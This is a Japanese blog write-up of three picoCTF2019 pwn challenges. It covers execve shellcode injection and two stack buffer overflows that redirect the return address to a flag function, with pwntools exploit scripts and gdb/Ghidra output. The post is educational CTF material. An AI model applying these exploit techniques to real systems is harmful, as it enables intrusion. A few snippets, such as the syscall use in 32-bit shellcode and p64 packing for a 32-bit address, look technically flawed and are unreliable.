0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

pwn過去問チャレンジ picoCTF2019編

Last updated at Posted at 2022-02-06

過去に出題されたpwn問を解いていきます。
今回はpicoCTF2019のpwn問のWriteupを書いていきます。
※すでに公式サイトでは問題ファイルの配布は終了していましたので、他経路でバイナリファイルを入手しています。そのため実際の問題とは違う可能性があること、ご承知おきください。

handy-shellcode

配布された(と思われる)ソースコード

# include <stdio.h>
# include <stdlib.h>
# include <string.h>
# include <unistd.h>
# include <sys/types.h>

# define BUFSIZE 148
# define FLAGSIZE 128

void vuln(char *buf){
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  char buf[BUFSIZE];

  puts("Enter your shellcode:");
  vuln(buf);

  puts("Thanks! Executing now...");
  
  ((void (*)())buf)();


  puts("Finishing Executing Shellcode. Exiting now...");
  
  return 0;
}

動かしてみます。
image.png

gets関数で変数bufに値を格納し、格納した値を表示し、
((void (*)())buf)();でbufを関数ポインタにキャストし、実行していそうです。

次にシェルコードを書いていきます。

シェルコマンドを実行するためにはexecveシステムコールを使います。
man execveで使い方を調べてみます。

image.png

ということなので、上記に従いまずはCで書いてみます。
(そのまんまだけど)

include<unistd.h>

int main()
{
    char *argv[1];
    argv[0] = "/bin/sh";
    argv[1] = NULL;
    execve(argv[0], argv, NULL);
}

image.png

思った通り動作しました。
それではこれを踏まえてアセンブリコードを書いていきます。

xor eax,eax 
Push eax 
Push 0x68732f2f 
Push 0x6e69622f 
mov ebx,esp 
Push eax 
Push ebx
mov ecx,esp
mov al,0xb 
xor edx,edx
syscall

システムコール番号をeaxに、第一引数をebx,第二引数をecx,第三引数をedxに設定し、syscallを呼び出しています。
※上記コードを書き終えてから思ったんですが、Cで書いたバイナリをディスアセンブルすれば早かったですね....

それでは上記を踏まえてエクスプロイトコードを書いていきます。

solve.py
from pwn import *

target = process('./handy_shell')

target.recvline()

payload = asm("""
xor eax,eax 
Push eax 
Push 0x68732f2f 
Push 0x6e69622f 
mov ebx,esp 
Push eax 
Push ebx
mov ecx,esp
mov al,0xb 
xor edx,edx
syscall
""")
target.sendline(payload)
target.interactive()

image.png

無事シェルを奪取出来ました。

感想
わかっているひとからしたら簡単なんだろうな。と思う内容でした。
私としてはアセンブリやシステムコールについて復習できたのでよかったです。
コード拾ってこようと思えば拾ってこれるけど、自分で書くの大事....

OverFlow1

配布された(と思われる)バイナリを起動します。

image.png

次に緩和機構を確認します。

image.png

緩和機構はほぼ無効になっています。

次にGhidraで解析を行います。

image.png

main関数内でvuln関数を呼んでいることがわかります。
vuln関数を確認します。

image.png

また、解析の結果、flag関数も確認できました。

image.png

上記の結果から、vuln関数内のgets関数でbofを発生させ、リターンアドレスをflag関数に書き換えることができればこの問題を解くことができそうです。

エクスプロイトコードを書くための情報を集めていきます。

まず、flag関数の開始アドレスを探します。

image.png

上記の結果より、
0x080485e6だとわかりました。

次にリターンアドレスまでのオフセットを確認します。

image.png

image.png

上記より、0x4cつまり76バイトだとわかりました。

以上を踏まえてコードを書いていきます。

from pwn import *

target = process('./Overflow1')
target.recvline()

payload=b'A'*0x4c
payload +=p64(0x080485e6)

target.sendline(payload)
target.interactive()

image.png

flag.txtファイルがないため、flagは出ませんがflag関数を呼ぶことができました。

newOverflow1

問題ファイルの情報を確認します。
image.png

次にGhidraで解析を行います。
64bitになっただけでOverflow1とほぼ同じ内容のため、説明は省略しますが、前問と同様にリターンアドレスを上書きしてflag関数を呼びます。

エクスプロイトコードに必要な情報を集めます。
image.png

まず、gdbの以下のコマンドでflag関数の開始アドレスを調べます。

disas flag

次にget関数の直後にブレークポイントをセットします。

image.png

以下のコードブロックでは、下記のことを行っています。
1.runでファイル実行
2.13371337を入力
3.search-patternコマンドで13371337が格納されているアドレスを探す
4.i f でスタックフレームの情報を表示

gef➤  r
Starting program: /home/kali/workspace/picoCTF/newOverflow 
Welcome to 64-bit. Give me a string that gets you the flag: 
13371337

Breakpoint 1, 0x00000000004007e5 in vuln ()

[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x00007fffffffdd60  →  "13371337"
$rbx   : 0x0000000000400860  →  <__libc_csu_init+0> push r15
$rcx   : 0x00007ffff7fa29a0  →  0x00000000fbad2288
$rdx   : 0x0               
$rsp   : 0x00007fffffffdd60  →  "13371337"
$rbp   : 0x00007fffffffdda0  →  0x00007fffffffddd0  →  0x0000000000000000
$rsi   : 0x00000000006022a8  →  0x000000000000000a ("\n"?)
$rdi   : 0x00007ffff7fa5680  →  0x0000000000000000
$rip   : 0x00000000004007e5  →  <vuln+25> nop 
$r8    : 0x00007fffffffdd60  →  "13371337"
$r9    : 0x00007ffff7f230e0  →  <__memcpy_ssse3+10224> mov edx, DWORD PTR [rsi-0x7]
$r10   : 0x5d              
$r11   : 0x00007ffff7f769e0  →  0xfffabb60fffab998
$r12   : 0x0000000000400680  →  <_start+0> xor ebp, ebp
$r13   : 0x0               
$r14   : 0x0               
$r15   : 0x0               
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdd60│+0x0000: "13371337"	 ← $rax, $rsp, $r8
0x00007fffffffdd68│+0x0008: 0x00007ffff7fa3600  →  0x0000000000000000
0x00007fffffffdd70│+0x0010: 0x0000000000400928  →  "Welcome to 64-bit. Give me a string that gets you [...]"
0x00007fffffffdd78│+0x0018: 0x00007ffff7e5af5a  →  <puts+378> cmp eax, 0xffffffff
0x00007fffffffdd80│+0x0020: 0x0000000000400860  →  <__libc_csu_init+0> push r15
0x00007fffffffdd88│+0x0028: 0x00007fffffffddd0  →  0x0000000000000000
0x00007fffffffdd90│+0x0030: 0x0000000000400680  →  <_start+0> xor ebp, ebp
0x00007fffffffdd98│+0x0038: 0x0000000000000000
──────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x4007d8 <vuln+12>        mov    rdi, rax
     0x4007db <vuln+15>        mov    eax, 0x0
     0x4007e0 <vuln+20>        call   0x400630 <gets@plt>
 →   0x4007e5 <vuln+25>        nop    
     0x4007e6 <vuln+26>        leave  
     0x4007e7 <vuln+27>        ret    
     0x4007e8 <main+0>         push   rbp
     0x4007e9 <main+1>         mov    rbp, rsp
     0x4007ec <main+4>         sub    rsp, 0x20
──────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "newOverflow", stopped 0x4007e5 in vuln (), reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4007e5 → vuln()
[#1] 0x40084a → main()
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  search-pattern 13371337
[+] Searching '13371337' in memory
[+] In '[heap]'(0x602000-0x623000), permission=rw-
  0x6022a0 - 0x6022aa  →   "13371337\n" 
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
  0x7fffffffdd60 - 0x7fffffffdd68  →   "13371337" 
gef➤  i f
Stack level 0, frame at 0x7fffffffddb0:
 rip = 0x4007e5 in vuln; saved rip = 0x40084a
 called by frame at 0x7fffffffdde0
 Arglist at 0x7fffffffdda0, args: 
 Locals at 0x7fffffffdda0, Previous frame's sp is 0x7fffffffddb0
 Saved registers:
  rbp at 0x7fffffffdda0, rip at 0x7fffffffdda8

以上の工程で集めた情報をもとにエクスプロイトコードを作成します。

from pwn import *

target = process('./newOverflow')
target.recvline()

payload=b'A'*0x48
payload +=p64(0x0000000000400767)

target.sendline(payload)
target.interactive()

image.png

今回はflag.txtファイルを用意したのでflagが表示されました。
※当然ですが競技中のflagとは異なります。

参考文献

アセンブラ(システムコール)

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?